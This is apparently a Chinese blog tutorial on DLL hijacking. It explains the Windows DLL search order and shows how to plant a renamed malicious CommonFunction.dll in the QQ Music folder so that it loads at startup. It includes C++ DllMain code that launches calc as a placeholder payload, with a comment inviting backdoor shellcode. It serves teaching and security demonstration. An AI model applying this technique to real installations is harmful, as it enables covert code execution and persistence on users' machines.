当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中

本文章实现原理

这里使用同目录替换正常dll,然后软件加载替换后得恶意dll

  1. 将编译后得恶意dll放到QQ音乐软件目录下
  2. 改名为CommonFunction.dll
  3. 相当于把正常dll替换成恶意dll并加载

这样启动QQ音乐时就会加载恶意dll了

dll加载顺序

DLL劫持中最常见的一种劫持方法,即在程序所在目录放置要劫持的DLL,程序启动时首先从本目录加载DLL,从而导致DLL劫持,DLL的加载顺序如下:

1.程序所在目录

2.程序加载目录(SetCurrentDirectory)

3.系统目录即 SYSTEM32 目录

4.16位系统目录即 SYSTEM 目录

5.Windows目录

6.PATH环境变量中列出的目录

实现效果图

打开QQ音乐 加载恶意dll,执行恶意代码弹出计算器

方便演示 恶意代码为弹出 计算器

hijack-dll-1.PNG

代码例子

#include <cstdlib>
#include <Windows.h>
#include <iostream>
#include <objbase.h>
#include <shellapi.h>

BOOL APIENTRY DllMain(HANDLE hModule, DWORD dwReason, void* lpReserved) {
    //DllMain 为dll加载入口,跟exe Main 入口一样    
    HANDLE g_hModule;
    switch (dwReason) {
    case DLL_PROCESS_ATTACH:
    //检测dll是否被加载

        MessageBox(NULL, TEXT("dll执行成功,并弹出计算器"), TEXT("dll加载测试"), MB_ICONWARNING);
        //弹窗

        system("calc");
        // 方便演示 执行系统命令弹出计算器
        // 阔以放任意 Payload Shellcode 
        //来加载恶意代码程序,比如后门

        g_hModule = (HINSTANCE)hModule;
        break;
    case DLL_PROCESS_DETACH:
    //检测dll卸载状态

        MessageBox(NULL, TEXT("dll取消执行"), TEXT("dll加载测试"), MB_ICONWARNING);
        // 弹窗
        g_hModule = NULL;
        break;
    }
    return true;
}

查看

查看进程被加载得dll

Process-Monitor工具

可以看到QQ音乐加载了一个CommonFunction.dll

hijack-dll-2.PNG


最后修改:2021 年 09 月 17 日
如果觉得我的文章对你有用,请随意赞赏